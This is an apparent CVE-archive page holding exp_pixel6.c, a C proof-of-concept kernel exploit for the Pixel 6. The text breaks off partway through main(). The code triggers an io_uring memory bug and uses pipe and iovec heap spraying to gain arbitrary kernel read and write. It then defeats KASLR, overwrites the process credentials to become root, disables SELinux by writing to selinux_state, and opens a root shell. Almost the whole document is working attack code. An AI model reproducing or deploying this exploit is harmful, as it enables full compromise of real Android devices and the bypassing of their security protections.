4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exp_pixel6.c C
#define _GNU_SOURCE
#undef NDEBUG
#define DEBUG

#include <assert.h>
#include <dirent.h>
#include <endian.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/memfd.h>
#include <pthread.h>
#include <sched.h>
#include <setjmp.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/mman.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/resource.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/time.h>
#include <sys/timerfd.h>
#include <sys/types.h>
#include <sys/uio.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#include <sys/socket.h>

#define PATCHED

#define MAX_PIPE_NUM 0x400
#define MAX_256_PIPE 0x400
#define FIRST_PIPE_SPRAY 0x180
#define PIPE_PAGE_NUM 0x600
#define CPU 1

#define CHECK(a, b)                                                            \
  do {                                                                         \
    if (a != b)                                                                \
      err(1, "RUN CHECK FAILED in %d, expected %d, received %d", __LINE__,     \
          (int)b, (int)a);                                                     \
  } while (0)

int pipes[MAX_PIPE_NUM][2];
int pipe_pages[PIPE_PAGE_NUM][2];
void *global_data;
void *global_buffer;

// some symbols
unsigned long init_task;
unsigned long selinux_state;
unsigned long anon_pipe_buf_ops;

int child_pid;
int signal_pipes[2];
struct pipe_buffer_t {
  unsigned long page;
  unsigned int offset, len;
  unsigned long ops;
  unsigned long flag;
  unsigned long private;
};

void DumpHex(const void *data, size_t size) {
#ifdef DEBUG
  char ascii[17];
  size_t i, j;
  ascii[16] = '\0';
  for (i = 0; i < size; ++i) {
    if (i % 16 == 0) {
      printf("%04lx   ", i);
    }
    printf("%02X ", ((unsigned char *)data)[i]);
    if (((unsigned char *)data)[i] >= ' ' &&
        ((unsigned char *)data)[i] <= '~') {
      ascii[i % 16] = ((unsigned char *)data)[i];
    } else {
      ascii[i % 16] = '.';
    }
    if ((i + 1) % 8 == 0 || i + 1 == size) {
      printf(" ");
      if ((i + 1) % 16 == 0) {
        printf("|  %s \n", ascii);
      } else if (i + 1 == size) {
        ascii[(i + 1) % 16] = '\0';
        if ((i + 1) % 16 <= 8) {
          printf(" ");
        }
        for (j = (i + 1) % 16; j < 16; ++j) {
          printf("   ");
        }
        printf("|  %s \n", ascii);
      }
    }
  }
#endif
}

void pin_on_cpu(int cpu) {
  cpu_set_t cpu_set;
  CPU_ZERO(&cpu_set);
  CPU_SET(cpu, &cpu_set);
  if (sched_setaffinity(0, sizeof(cpu_set), &cpu_set) != 0) {
    perror("sched_setaffinity()");
    exit(EXIT_FAILURE);
  }
  usleep(1000);
}

static void adjust_rlimit() {
  // setsid(); // 814292
  struct rlimit rlim;
  rlim.rlim_cur = rlim.rlim_max = 0x10000;
  if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) {
    rlim.rlim_cur = rlim.rlim_max = 14096;
    if (setrlimit(RLIMIT_NOFILE, &rlim) < 0) {
      perror("setrlimit");
      err(1, "setrlimit");
    }
  }
}

static __thread int skip_segv;
static __thread jmp_buf segv_env;

#define NONFAILING(...)                                                        \
  ({                                                                           \
    int ok = 1;                                                                \
    __atomic_fetch_add(&skip_segv, 1, __ATOMIC_SEQ_CST);                       \
    if (_setjmp(segv_env) == 0) {                                              \
      __VA_ARGS__;                                                             \
    } else                                                                     \
      ok = 0;                                                                  \
    __atomic_fetch_sub(&skip_segv, 1, __ATOMIC_SEQ_CST);                       \
    ok;                                                                        \
  })

static void sleep_ms(uint64_t ms) { usleep(ms * 1000); }

static uint64_t current_time_ms(void) {
  struct timespec ts;
  if (clock_gettime(CLOCK_MONOTONIC, &ts))
    exit(1);
  return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}

static void thread_start(void *(*fn)(void *), void *arg) {
  pthread_t th;
  pthread_attr_t attr;
  pthread_attr_init(&attr);
  pthread_attr_setstacksize(&attr, 128 << 10);
  int i = 0;
  for (; i < 100; i++) {
    if (pthread_create(&th, &attr, fn, arg) == 0) {
      pthread_attr_destroy(&attr);
      return;
    }
    if (errno == EAGAIN) {
      usleep(50);
      continue;
    }
    break;
  }
  exit(1);
}

typedef struct {
  int state;
} event_t;

static void event_init(event_t *ev) { ev->state = 0; }

static void event_reset(event_t *ev) { ev->state = 0; }

static void event_set(event_t *ev) {
  if (ev->state)
    exit(1);
  __atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
  syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t *ev) {
  while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
    syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

static int event_isset(event_t *ev) {
  return __atomic_load_n(&ev->state, __ATOMIC_ACQUIRE);
}

static int event_timedwait(event_t *ev, uint64_t timeout) {
  uint64_t start = current_time_ms();
  uint64_t now = start;
  for (;;) {
    uint64_t remain = timeout - (now - start);
    struct timespec ts;
    ts.tv_sec = remain / 1000;
    ts.tv_nsec = (remain % 1000) * 1000 * 1000;
    syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, &ts);
    if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
      return 1;
    now = current_time_ms();
    if (now - start > timeout)
      return 0;
  }
}

static bool write_file(const char *file, const char *what, ...) {
  char buf[1024];
  va_list args;
  va_start(args, what);
  vsnprintf(buf, sizeof(buf), what, args);
  va_end(args);
  buf[sizeof(buf) - 1] = 0;
  int len = strlen(buf);
  int fd = open(file, O_WRONLY | O_CLOEXEC);
  if (fd == -1)
    return false;
  if (write(fd, buf, len) != len) {
    int err = errno;
    close(fd);
    errno = err;
    return false;
  }
  close(fd);
  return true;
}

#define SIZEOF_IO_URING_SQE 64
#define SIZEOF_IO_URING_CQE 16
#define SQ_HEAD_OFFSET 0
#define SQ_TAIL_OFFSET 64
#define SQ_RING_MASK_OFFSET 256
#define SQ_RING_ENTRIES_OFFSET 264
#define SQ_FLAGS_OFFSET 276
#define SQ_DROPPED_OFFSET 272
#define CQ_HEAD_OFFSET 128
#define CQ_TAIL_OFFSET 192
#define CQ_RING_MASK_OFFSET 260
#define CQ_RING_ENTRIES_OFFSET 268
#define CQ_RING_OVERFLOW_OFFSET 284
#define CQ_FLAGS_OFFSET 280
#define CQ_CQES_OFFSET 320

struct io_sqring_offsets {
  uint32_t head;
  uint32_t tail;
  uint32_t ring_mask;
  uint32_t ring_entries;
  uint32_t flags;
  uint32_t dropped;
  uint32_t array;
  uint32_t resv1;
  uint64_t resv2;
};

struct io_cqring_offsets {
  uint32_t head;
  uint32_t tail;
  uint32_t ring_mask;
  uint32_t ring_entries;
  uint32_t overflow;
  uint32_t cqes;
  uint64_t resv[2];
};

struct io_uring_params {
  uint32_t sq_entries;
  uint32_t cq_entries;
  uint32_t flags;
  uint32_t sq_thread_cpu;
  uint32_t sq_thread_idle;
  uint32_t features;
  uint32_t resv[4];
  struct io_sqring_offsets sq_off;
  struct io_cqring_offsets cq_off;
};

#define IORING_OFF_SQ_RING 0
#define IORING_OFF_SQES 0x10000000ULL

#define sys_io_uring_setup 425
static long syz_io_uring_setup(volatile long a0, volatile long a1,
                               volatile long a2, volatile long a3,
                               volatile long a4, volatile long a5) {
  uint32_t entries = (uint32_t)a0;
  struct io_uring_params *setup_params = (struct io_uring_params *)a1;
  void *vma1 = (void *)a2;
  void *vma2 = (void *)a3;
  void **ring_ptr_out = (void **)a4;
  void **sqes_ptr_out = (void **)a5;
  uint32_t fd_io_uring = syscall(sys_io_uring_setup, entries, setup_params);
  uint32_t sq_ring_sz =
      setup_params->sq_off.array + setup_params->sq_entries * sizeof(uint32_t);
  uint32_t cq_ring_sz = setup_params->cq_off.cqes +
                        setup_params->cq_entries * SIZEOF_IO_URING_CQE;
  uint32_t ring_sz = sq_ring_sz > cq_ring_sz ? sq_ring_sz : cq_ring_sz;
  *ring_ptr_out = mmap(vma1, ring_sz, PROT_READ | PROT_WRITE,
                       MAP_SHARED | MAP_POPULATE | MAP_FIXED, fd_io_uring,
                       IORING_OFF_SQ_RING);
  uint32_t sqes_sz = setup_params->sq_entries * SIZEOF_IO_URING_SQE;
  *sqes_ptr_out =
      mmap(vma2, sqes_sz, PROT_READ | PROT_WRITE,
           MAP_SHARED | MAP_POPULATE | MAP_FIXED, fd_io_uring, IORING_OFF_SQES);
  return fd_io_uring;
}

static long syz_io_uring_submit(volatile long a0, volatile long a1,
                                volatile long a2, volatile long a3) {
  char *ring_ptr = (char *)a0;
  char *sqes_ptr = (char *)a1;
  char *sqe = (char *)a2;
  uint32_t sqes_index = (uint32_t)a3;
  uint32_t sq_ring_entries = *(uint32_t *)(ring_ptr + SQ_RING_ENTRIES_OFFSET);
  uint32_t cq_ring_entries = *(uint32_t *)(ring_ptr + CQ_RING_ENTRIES_OFFSET);
  uint32_t sq_array_off =
      (CQ_CQES_OFFSET + cq_ring_entries * SIZEOF_IO_URING_CQE + 63) & ~63;
  if (sq_ring_entries)
    sqes_index %= sq_ring_entries;
  char *sqe_dest = sqes_ptr + sqes_index * SIZEOF_IO_URING_SQE;
  memcpy(sqe_dest, sqe, SIZEOF_IO_URING_SQE);
  uint32_t sq_ring_mask = *(uint32_t *)(ring_ptr + SQ_RING_MASK_OFFSET);
  uint32_t *sq_tail_ptr = (uint32_t *)(ring_ptr + SQ_TAIL_OFFSET);
  uint32_t sq_tail = *sq_tail_ptr & sq_ring_mask;
  uint32_t sq_tail_next = *sq_tail_ptr + 1;
  uint32_t *sq_array = (uint32_t *)(ring_ptr + sq_array_off);
  *(sq_array + sq_tail) = sqes_index;
  __atomic_store_n(sq_tail_ptr, sq_tail_next, __ATOMIC_RELEASE);
  return 0;
}

static void kill_and_wait(int pid, int *status) {
  kill(-pid, SIGKILL);
  kill(pid, SIGKILL);
  for (int i = 0; i < 100; i++) {
    if (waitpid(-1, status, WNOHANG | __WALL) == pid)
      return;
    usleep(1000);
  }
  DIR *dir = opendir("/sys/fs/fuse/connections");
  if (dir) {
    for (;;) {
      struct dirent *ent = readdir(dir);
      if (!ent)
        break;
      if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
        continue;
      char abort[300];
      snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort",
               ent->d_name);
      int fd = open(abort, O_WRONLY);
      if (fd == -1) {
        continue;
      }
      if (write(fd, abort, 1) < 0) {
      }
      close(fd);
    }
    closedir(dir);
  } else {
  }
  while (waitpid(-1, status, __WALL) != pid) {
  }
}

static void setup_test() {
  prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
  setpgrp();
  write_file("/proc/self/oom_score_adj", "1000");
}

struct thread_t {
  int created, call;
  event_t ready, done;
};

static struct thread_t threads[16];
static void execute_call(int call);
static int running;

static int thr2_start = 0;
static int thr1_enter = 0;
static int thr2_execve = 0;

static void *thr_1(void *arg) {
  pin_on_cpu(CPU);
  struct thread_t *th = (struct thread_t *)arg;
  for (;;) {
    event_wait(&th->ready);
    event_reset(&th->ready);
    // execute_call(th->call);
    for (int i = 0; i < 11; i++) {
      if (i == 5)
        continue;
      execute_call(i);
    }
    thr2_start = 1;
    while (thr1_enter != 1) {
    }
    execute_call(9);
    thr2_execve = 1;
    __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
    event_set(&th->done);
  }
  return 0;
}

static void *thr_2(void *arg) {
  pin_on_cpu(CPU);
  // new cred
  // setgid(getgid());
  struct thread_t *th = (struct thread_t *)arg;
  for (;;) {
    event_wait(&th->ready);
    event_reset(&th->ready);
    // execute_call(th->call);
    while (thr2_start != 1) {
    }
    for (int i = 0; i < 10; i++) {
      if (i == 9)
        continue;
      execute_call(i);
    }
    thr1_enter = 1;
    while (thr2_execve != 1) {
    }
    execute_call(11);
    execute_call(12);
    __atomic_fetch_sub(&running, 1, __ATOMIC_RELAXED);
    event_set(&th->done);
  }
  return 0;
}

static void execute_one(void) {
  int i, call, thread;
  int collide = 0;

  {
    struct thread_t *th = &threads[0];
    if (!th->created) {
      th->created = 1;
      event_init(&th->ready);
      event_init(&th->done);
      event_set(&th->done);
      thread_start(thr_1, th);
    }
    event_reset(&th->done);
    // th->call = call;
    __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
    event_set(&th->ready);
    event_timedwait(&th->done, 50);
  }

#ifdef PATCHED
  setuid(getuid());
#endif

  {
    struct thread_t *th = &threads[1];
    if (!th->created) {
      th->created = 1;
      event_init(&th->ready);
      event_init(&th->done);
      event_set(&th->done);
      thread_start(thr_2, th);
    }
    event_reset(&th->done);
    // th->call = call;
    __atomic_fetch_add(&running, 1, __ATOMIC_RELAXED);
    event_set(&th->ready);
    event_timedwait(&th->done, 50);
  }
  for (i = 0; i < 1000 && __atomic_load_n(&running, __ATOMIC_RELAXED); i++)
    usleep(1000);
}

static void execute_one(void);

void do_trigger() {
  pin_on_cpu(CPU);
  // setup_test();
  execute_one();
}

#define WAIT_FLAGS __WALL

#define OLD_LOOP
#ifdef OLD_LOOP

static void loop(void) {
  int iter = 0;
  for (; iter < 1; iter++) {
    int pid = fork();
    if (pid < 0)
      exit(1);
    if (pid == 0) {
#ifdef PATCHED
      setuid(getuid());
#endif
      printf("in trigger process\n");
      do_trigger();
      printf("exit...\n");
      exit(0);
    }
    int status = 0;
    uint64_t start = current_time_ms();

    for (;;) {
      if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
        break;
      sleep_ms(1);
      if (current_time_ms() - start < 5000)
        continue;
      kill_and_wait(pid, &status);
      break;
    }
  }
}
#else
static void loop(void) {
  setup_test();
  execute_one();
}
#endif

#ifndef __NR_io_uring_enter
#define __NR_io_uring_enter 426
#endif

uint64_t r[6] = {0xffffffffffffffff, 0xffffffffffffffff, 0x0, 0x0,
                 0xffffffffffffffff, 0xffffffffffffffff};

int timerfd[0x80] = {};

void execute_call(int call) {
  intptr_t res = 0;
  switch (call) {
  case 2:
    NONFAILING(*(uint32_t *)0x20000084 = 0);
    NONFAILING(*(uint32_t *)0x20000088 = 1);
    NONFAILING(*(uint32_t *)0x2000008c = 0);
    NONFAILING(*(uint32_t *)0x20000090 = 0);
    NONFAILING(*(uint32_t *)0x20000098 = -1);
    NONFAILING(memset((void *)0x2000009c, 0, 12));
    res = -1;
    NONFAILING(res = syz_io_uring_setup(0x10, 0x20000080,
                                        0x20ee7000, // from 0x12d6 to 0x10
                                        0x206d4000, 0x20000180, 0x200001c0));
    if (res != -1) {
      r[1] = res;
      NONFAILING(r[2] = *(uint64_t *)0x20000180);
      NONFAILING(r[3] = *(uint64_t *)0x200001c0);
    }
    break;
  case 3:
    res = open("/apex/com.android.runtime/lib64/bionic/libc.so",
               O_DIRECT | O_NONBLOCK, 0);
    // printf("we got %ld when syscall opening libc\n", res);
    assert(res != -1);
    if (res != -1)
      r[4] = res;
    break;
  case 4:
    NONFAILING(*(uint8_t *)0x20000000 = 1);
    NONFAILING(*(uint8_t *)0x20000001 = 0);
    NONFAILING(*(uint16_t *)0x20000002 = 0);
    NONFAILING(*(uint32_t *)0x20000004 = r[4]);
    NONFAILING(*(uint64_t *)0x20000008 = 0);
    NONFAILING(*(uint64_t *)0x20000010 = 0x20000500);
    NONFAILING(*(uint64_t *)0x20000500 = 0);
    NONFAILING(*(uint64_t *)0x20000508 = 0);
    NONFAILING(*(uint32_t *)0x20000018 = 1);
    NONFAILING(*(uint32_t *)0x2000001c = 0);
    NONFAILING(*(uint64_t *)0x20000020 = 0);
    NONFAILING(*(uint16_t *)0x20000028 = 0);
    NONFAILING(*(uint16_t *)0x2000002a = 0);
    NONFAILING(memset((void *)0x2000002c, 0, 20));
    NONFAILING(syz_io_uring_submit(r[2], r[3], 0x20000000, 0));
    break;
  case 5:
    // unused io
    NONFAILING(*(uint32_t *)0x200002c4 = 0x2b24);
    NONFAILING(*(uint32_t *)0x200002c8 = 1); // privilege decision
    NONFAILING(*(uint32_t *)0x200002cc = 1);
    NONFAILING(*(uint32_t *)0x200002d0 = 0x1f0);
    NONFAILING(*(uint32_t *)0x200002d8 = r[4]);
    NONFAILING(memset((void *)0x200002dc, 0, 12));
    break;
  case 6:
    NONFAILING(memcpy((void *)0x20000000, "/proc/self/exe\000", 15));
    res = syscall(__NR_openat, 0xffffff9c, 0x20000000ul, 0ul, 0ul);
    // printf("got res %ld when opening exe\n", res);
    assert(res != -1);
    if (res != -1)
      r[5] = res;
    break;
  case 7:
    // syscall(__NR_open, 0ul, 0x188002ul, 0x10ul);
    break;
  case 8:
    syscall(__NR_mmap, 0x20000000ul, 0x800000ul, 0x1800003ul, 0x12ul, r[5],
            0ul);
    break;
  case 9:
    syscall(__NR_io_uring_enter, r[1], 0x2b66, 0, 0ul, 0ul, 0x5eul);
    break;
  case 10:
    // NONFAILING(memcpy((void*)0x20000040, "./bus\000", 6));
    // syscall(__NR_execve, 0x20000040ul, 0ul, 0ul);
    break;
  case 11: // to trigger init req sync
#define IORING_ENTER_GETEVENTS (1U << 0)
           // flag = IORING_ENTER_GETEVENTS
    // tell parent to do the second allocation
    // printf("allocating 256 in parent\n");
    kill(getppid(), SIGUSR2);
    read(signal_pipes[0], global_buffer + 0x1300, 1);

    // printf("enter io uring\n");
    syscall(__NR_io_uring_enter, r[1], 0, 1, IORING_ENTER_GETEVENTS, 0ul,
            0x5eul);

    // tell parents to spray pipe_buffer
    // this will crash kernel
    kill(getppid(), SIGUSR2);
    read(signal_pipes[0], global_buffer + 0x1300, 1);
    break;
  }
}

void trigger() {
  loop();
  printf("trigger done\n");
}

void *do_iov_spray(void *idx) {
  pin_on_cpu(CPU);

  unsigned long pipe_idx = (unsigned long)(idx);
  char data[0x100] = {};
  struct iovec iovec_array[256 / 16];
  assert(sizeof(iovec_array) == 256);
  int *sync_pipes = (int *)global_data + 0x100;

  for (int i = 0; i < 256 / 16; i++) {
    iovec_array[i].iov_len = 1;
    iovec_array[i].iov_base =
        (void *)((char *)global_buffer + pipe_idx * 16 + i);
  }

  if (pipe_idx >= MAX_256_PIPE) {
    goto spray_256;
  }

  read(pipes[pipe_idx][0], data, 1);
  CHECK(*data, 'S');
  write(sync_pipes[1], "E", 1);
  // printf("pipe %ld spaied\n", pipe_idx);
  // if (pipe_idx == 0) printf("allocating 256 for 0\n");
  // printf("pipe idx %ld allocated\n", pipe_idx);
  int res = readv(pipes[pipe_idx][0], iovec_array, 256 / 16);
  if (res != 256 / 16) {
    printf("pipe %ld res is %d\n", pipe_idx, res);
    // iov might be corrupted, do that again without iov
    res = read(pipes[pipe_idx][0], (char *)global_buffer + pipe_idx * 16,
               256 / 16);
    printf("second read, res is %d\n", res);
  }
  write(sync_pipes[1], "E", 1);

spray_256:
  // wait for signal
  // *data = 0;
  // read(pipes[pipe_idx][0], data, 1);
  // assert(*data == 'S');
  // write(sync_pipes[1], "S", 1);

  // // after having the signal, do the spray
  // readv(pipes[pipe_idx][0], iovec_array, 256/16);
  // // keep sleeping to prevent too many freed pages

  // write(sync_pipes[1], "S", 1);
  while (1) {
    sleep(10000);
  }
}

// arm implementation
unsigned long page_address(unsigned long page) {
  unsigned long addr = ((page << 6) + 0xffffc008000000ul) | 0xffff000000000000;
  // printf("page %lx to addr %lx\n", page, addr);
  return addr;
}

unsigned long addr_to_page(unsigned long addr) {
  addr = addr & 0xfffffffffffff000ul;
  unsigned long page = ((addr - 0xffffc008000000ul) >> 6);
  // printf("addr %lx to page %lx\n", addr, page);
  return page;
}

unsigned long read64(unsigned long addr) {
  if ((addr & 0xfff) + 8 > 0x1000) {
    return 0;
  }
  int *exp_pipes = (int *)global_data;
  int pipe_buffer_offset = exp_pipes[4];

  // put the page to tmp_page;
  read(exp_pipes[2], global_buffer, 0x1000);

  memset(global_buffer, 'D', 0x1000);
  unsigned long *buf = (unsigned long *)global_buffer;
  struct pipe_buffer_t *p_buffer =
      (struct pipe_buffer_t *)(&buf[pipe_buffer_offset]);

  memcpy(p_buffer, global_data + 0x80, 40);

  p_buffer->page = addr_to_page(addr);
  p_buffer->len = 9;
  p_buffer->offset = addr & 0xfff;
  for (int i = 1; i < 4; i++) {
    memcpy(p_buffer + i, p_buffer, 40);
  }

  // overwrite pipe_buffer
  write(exp_pipes[3], global_buffer, 0x1000);

  // now do the read memory
  unsigned long data;
  read(exp_pipes[0], &data, 8);
  return data;
}

void write64(unsigned long addr, unsigned long data) {
  assert((addr & 0xfff) + 8 <= 0x1000);
  int *exp_pipes = (int *)global_data;
  int pipe_buffer_offset = exp_pipes[4];

  // put the page to tmp_page;
  read(exp_pipes[2], global_buffer, 0x1000);

  memset(global_buffer, 'D', 0x1000);
  unsigned long *buf = (unsigned long *)global_buffer;
  struct pipe_buffer_t *p_buffer =
      (struct pipe_buffer_t *)(&buf[pipe_buffer_offset]);

  memcpy(p_buffer, global_data + 0x80, 40);

  p_buffer->page = addr_to_page(addr);
  p_buffer->len = 0;
  p_buffer->offset = addr & 0xfff;
  for (int i = 1; i < 4; i++) {
    memcpy(p_buffer + i, p_buffer, 40);
  }

  // overwrite pipe_buffer
  write(exp_pipes[3], global_buffer, 0x1000);

  // now do the write of memory
  write(exp_pipes[1], &data, 8);
}

void read_mem(unsigned long addr, unsigned long *data, unsigned size) {
  for (int i=0; i<size/8; i++) {
    data[i] = read64(addr+i*8);
  }
}

void write_mem(unsigned long addr, unsigned long *data, unsigned size) {
  for (int i=0; i<size/8; i++) {
    write64(addr+i*8, data[i]);
  }
}

void exploit(void) {
  int *exp_pipes = (int *)global_data;
  char data[0x100] = {};
  int *sync_pipes = (int *)global_data + 0x100;
  int size = 0;

#ifdef CRASH
  sleep(1);

  trigger();
  printf("exit...\n");
  exit(0);
#endif

  for (int i = 0; i < MAX_PIPE_NUM; i++) {
    if (pipe(pipes[i]) < 0) {
      err(1, "pipe");
    }
    // prefault the page
    CHECK(fcntl(pipes[i][1], F_SETPIPE_SZ, 0x1000), 0x1000);
    write(pipes[i][1], global_buffer, 1);
    CHECK(read(pipes[i][0], global_buffer, 1), 1);
  }

  // prepare sync pipe
  if (pipe(sync_pipes) < 0) {
    err(1, "sync pipe");
  }
  CHECK(fcntl(sync_pipes[1], F_SETPIPE_SZ, 0x1000), 0x1000);
  write(sync_pipes[1], global_buffer, 1);
  read(sync_pipes[0], global_buffer, 1);

  // prepare exp pipe
  if (pipe(exp_pipes) < 0) {
    err(1, "sync pipe");
  }
  write(exp_pipes[1], global_buffer, 1);
  read(exp_pipes[0], global_buffer, 1);
  write(exp_pipes[1], global_buffer, 1);

  // a good time to setup context for the second stage
  for (int i = 0; i < PIPE_PAGE_NUM; i++) {
    if (pipe(pipe_pages[i]) < 0) {
      perror("pipe");
      exit(0);
    }
    CHECK(fcntl(pipe_pages[i][1], F_SETPIPE_SZ, 0x1000), 0x1000);
  }

  for (unsigned long i = 0; i < MAX_PIPE_NUM; i++) {
    pthread_t pid;
    pthread_create(&pid, NULL, do_iov_spray, (void *)i);
  }
  printf("preparing...\n");
  sleep(1);

  printf("[*] STAGE 1: defragmentation\n");
  // spray the first part
  for (int i = 0; i < FIRST_PIPE_SPRAY; i++) {
    usleep(10);
    write(pipes[i][1], "S", 1);
  }

  // sync with the spray
  int count = FIRST_PIPE_SPRAY;
  while (count) {
    usleep(10);
    int res = read(sync_pipes[0], global_buffer, count);
    count -= res;
  }
  // printf("first part spray done\n");

  printf("[*] STAGE 2: trigger the bug\n");
  kill(child_pid, SIGUSR1);

  // now spray the second part
  read(signal_pipes[0], data, 1);
  assert(data[0] == 'S');

  // allocate a pipe buffer for this
  CHECK(fcntl(exp_pipes[1], F_SETPIPE_SZ, 0x4000), 0x4000);
  // fill the slab with other iovs
  for (int i = FIRST_PIPE_SPRAY; i < MAX_256_PIPE; i++) {
    // usleep(10);
    write(pipes[i][1], "S", 1);
  }

  // sync with the spray
  count = MAX_256_PIPE - FIRST_PIPE_SPRAY;
  while (count) {
    usleep(10);
    int res = read(sync_pipes[0], global_buffer + 0x300, count);
    // printf("read res : %d\n", res);
    count -= res;
  }

  // let the bug triggered
  kill(child_pid, SIGUSR1);
  // wait from the child, now the invalid free happened, before the exit of task
  read(signal_pipes[0], data, 1);
  assert(data[0] == 'S');
  // no action here.

  // now let child exit
  kill(child_pid, SIGUSR1);
  // wait the child to exit
  read(signal_pipes[0], data, 1);
  assert(data[0] == 'S');
  // sleep for a while making sure the memory is freed
  usleep(1000 * 1000);

  printf("[*] STAGE 3: free the cache\n");
  // now free the iov
  for (int i = MAX_256_PIPE - 1; i >= 0; i--) {
    usleep(10);
    write(pipes[i][1], global_buffer + 0x200, 256 / 16);
  }

  // sync with the free
  count = MAX_256_PIPE;
  while (count) {
    usleep(10);
    int res = read(sync_pipes[0], global_buffer + 0x300, count);
    // printf("read res : %d\n", res);
    count -= res;
  }

#if 0
  printf("let's crash the kernel\n");
  // getchar();

  ioctl(exp_pipes[1], FIONREAD, &size);
  printf("FIONREAD pipe 1 is %d\n", size);
  sleep(1);
  fcntl(exp_pipes[1], F_SETPIPE_SZ, 0x8000);
  getchar();

#endif

  printf("[*] STAGE 4: reclaim the page\n");
  memset(global_buffer, 'A', 0x1000);
  for (int i = 0; i < PIPE_PAGE_NUM; i++) {
    write(pipe_pages[i][1], global_buffer, 0x1000);
  }

  // now check pipe_buffer
  ioctl(exp_pipes[1], FIONREAD, &size);
  printf("FIONREAD pipe 1 is %x\n", size);
  if (size != 0x41414141) {
    printf("failed, please retry\n");
    getchar();
  }

  // rewrite pipe buffer
  write(exp_pipes[1], "KCTF", 0x4);

  // now check the pipe pages
  unsigned long *recv_buffer =
      (unsigned long *)((char *)global_buffer + 0x1000);
  unsigned long *pipe_buffer = 0;
  int res = 0, exp_pipe_idx = -1;
  for (int i = 0; i < PIPE_PAGE_NUM; i++) {
    res = read(pipe_pages[i][0], recv_buffer, 0x1000);
    if (res != 0x1000) {
      err(1, "pipe %d read error\n", i);
    }

    for (int j = 0; j < (0x1000 / 8); j++) {
      if (recv_buffer[j] != 0x4141414141414141) {
        pipe_buffer = recv_buffer + j;
        DumpHex(pipe_buffer, 0x30);
        memcpy(global_data + 0x80, pipe_buffer, 40);
        exp_pipe_idx = i;
        exp_pipes[2] = pipe_pages[i][0];
        exp_pipes[3] = pipe_pages[i][1];
        exp_pipes[4] = j - 5; // pipe_buffer should move forward
        break;
      }
    }
    if (pipe_buffer != 0)
      break;
  }

  if (exp_pipe_idx == -1) {
    printf("failed, please retry\n");
    getchar();
  }

  write_file("/proc/self/comm", "expp");
  // pixel 6
  // ffffffdc0bfcbec0 init_task
  // ffffffdc0b93d968 anon_pipe_buf_ops

  // general offset ranges 0x684398 - 0x68d458

  write(exp_pipes[3], recv_buffer, 0x1000);
  printf("leaked pipe page at %lx\n", pipe_buffer[0]);
  printf("leaked ops at %lx\n", pipe_buffer[2]);
  unsigned long kaslr_offset = pipe_buffer[2] - anon_pipe_buf_ops;

  init_task += kaslr_offset;
  printf("kaslr offset is %lx\n", kaslr_offset);
  printf("init task at %lx\n", init_task);
  printf("looking for my process...\n");

  unsigned long current_task = init_task;
  while (true) {
    current_task = read64(current_task + 0x4c8);
    current_task = current_task - 0x4c8;

    unsigned long name[2];
    name[0] = read64(current_task + 0x790);
    if (!strcmp((char *)name, "expp")) {
      printf("we found the process at %lx\n", current_task);
      break;
    }
  }

  unsigned long cred = read64(current_task + 0x780);
  printf("found cred at %lx\n", cred);
  printf("getting root...\n");
  write64(cred + 0x4, 0);
  write64(cred + 0x4 + 8, 0);
  write64(cred + 0x4 + 2 * 8, 0);
  setuid(0);
  seteuid(0);

  printf("now we uid/gid: %d/%d\n", getuid(), getgid());
  printf("disabling selinux...\n");
  selinux_state += kaslr_offset;
  // enforing is 1 byte, writing 8 bytes overwrites others
  write64(selinux_state - 7, 0);
  system("/system/bin/sh");

  while (1) {
    sleep(1000);
  }
}

void signal_handler(int sig) {
  switch (sig) {
  case SIGUSR1:
    // printf("signal from parent\n");
    write(signal_pipes[1], "S", 1);
    break;
  case SIGUSR2:
    // printf("signal from child\n");
    write(signal_pipes[1], "S", 1);
    break;
  default:
    break;
  }
}

void get_symbols(char *path) {
  FILE *fp = fopen(path, "r");
  assert(fp != NULL);
  char line[0x100];
  while (fgets(line, sizeof(line), fp)) {
    char addr[0x20] = "0x";
    strncpy(addr+2, line, 0x10);
    if (!strcmp(&line[19], "selinux_state\n")) {
      selinux_state = strtoul(addr, NULL, 16);
      printf("got 0x%lx for %s", selinux_state, &line[19]);
    }

    if (!strcmp(&line[19], "init_task\n")) {
      init_task = strtoul(addr, NULL, 16);
      printf("got 0x%lx for %s", init_task, &line[19]);
    }

    if (!strcmp(&line[19], "anon_pipe_buf_ops\n")) {
      anon_pipe_buf_ops = strtoul(addr, NULL, 16);
      printf("got 0x%lx for %s", anon_pipe_buf_ops, &line[19]);
    }
    memset(line, 0, sizeof(line));
  }
}

int main(int argc, char **argv) {
  if (argc == 1) {
    printf("usage: %s [symbol file]\n", argv[0]);
    exit(0);
  }
  get_symbols(argv[1]);

  pin_on_cpu(CPU);
  adjust_rlimit();
  syscall(__NR_mmap, 0x20000000ul, 0x1000ul, 7ul, 0x32ul, -1, 0ul);
  global_data = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
                     MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
  global_buffer = mmap(NULL, 0x4000, PROT_READ | PROT_WRITE,
